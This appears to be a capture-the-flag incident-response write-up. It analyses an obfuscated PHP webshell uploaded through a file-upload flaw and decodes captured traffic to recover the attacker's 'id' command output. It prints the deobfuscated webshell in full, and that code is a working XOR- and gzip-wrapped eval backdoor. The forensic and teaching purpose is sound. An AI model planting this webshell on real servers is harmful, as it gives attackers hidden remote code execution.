We covered an incident response scenario that involved using forensics skills to investigate a webserver hacked by exploiting a file upload vulnerability, We have been given the webshell the attacker used along with a packet dump file that included the packets exchanged between the attacker and the webserver while they were executing commands.

We decoded the script using base64, XOR encryption and Gzip compression to uncover the commands the attacker executed along with the output received.

We found that the attacker downloaded a Keepass file encoded with base64 so we used keepass2john to extract the hash and john the ripper to find the password of the password database that contained the flag.

Challenge Description

An attacker has found a vulnerability in our web server that allows arbitrary PHP file upload in our Apache server. Suchlike, the hacker has uploaded a what seems to be like an obfuscated shell (support.php). We monitor our network 24/7 and generate logs from tcpdump (we provided the log file for the period of two minutes before we terminated the HTTP service for investigation), however, we need your help in analyzing and identifying commands the attacker wrote to understand what was compromised.

WebShell Analysis & Reverse Decoding via Wireshark

This is a breakdown of an obfuscated PHP webshell, its deobfuscated logic, and how to reverse the process to decode attacker responses, such as those observed in Wireshark captures.

Step 1: Obfuscated PHP Webshell

The attacker uploaded the following obfuscated PHP code:

phpCopyEdit<?php
$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x(

Once deobfuscated, it transforms into:

phpCopyEdit$k = "80e32263";
$kh = "6f8af44abea0";
$kf = "351039f4a7b5";
$p = "0UlYyJHG87EJqEz6";

function x($t, $k){
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for($i = 0; $i < $l;){
        for($j = 0; ($j < $c && $i < $l); $j++, $i++){
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print("$p$kh$r$kf");
}

Webshell Logic Overview

  • Payload Decryption Flow:
    1. Input data is read from php://input
    2. Payload is extracted using regex pattern between $kh and $kf
    3. Payload is:
      • Base64-decoded
      • XORed with $k
      • Gz-uncompressed
      • Evaluated via eval()
  • Response Encryption Flow:
    1. Output of eval is:
      • Captured via ob_start
      • Gz-compressed
      • XORed with $k
      • Base64-encoded
    2. Final output: bashCopyEdit$p . $kh . $encoded_output . $kf

Wireshark Output Observed

Captured Packet Example:

bashCopyEdit0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

Let’s break it down using our known variable values:

  • $p = 0UlYyJHG87EJqEz6
  • $kh = 6f8af44abea0
  • $kf = 351039f4a7b5

Step 2: Extracting the Core Response

To isolate the attacker’s response data, remove the prefix and suffix markers:

plaintextCopyEditEncoded Full Output:
0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

Stripped Output:
QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy

Let’s denote this value as $r.

Step 3: Reversing the Encoding Process

The attacker used:

phpCopyEdit$r = base64_encode(x(gzcompress($o), $k));

To reverse this, we perform the inverse:

phpCopyEdit$output = gzuncompress(x(base64_decode($r), $k));

So:

phpCopyEdit$r = "QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy";
$k = "80e32263";

In Python (to simulate decoding):

pythonCopyEditimport base64
import zlib

def xor_decrypt(data, key):
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])

r = "QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy"
key = b"80e32263"

decoded = base64.b64decode(r)
xored = xor_decrypt(decoded, key)
decompressed = zlib.decompress(xored)

print(decompressed.decode())

Final Decoded Output

kotlinCopyEdituid=33(www-data) gid=33(www-data) groups=33(www-data)

This confirms that the webshell was executing the command id and returning its output, which identifies the current web server user context.

 

Video Walkthrough

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles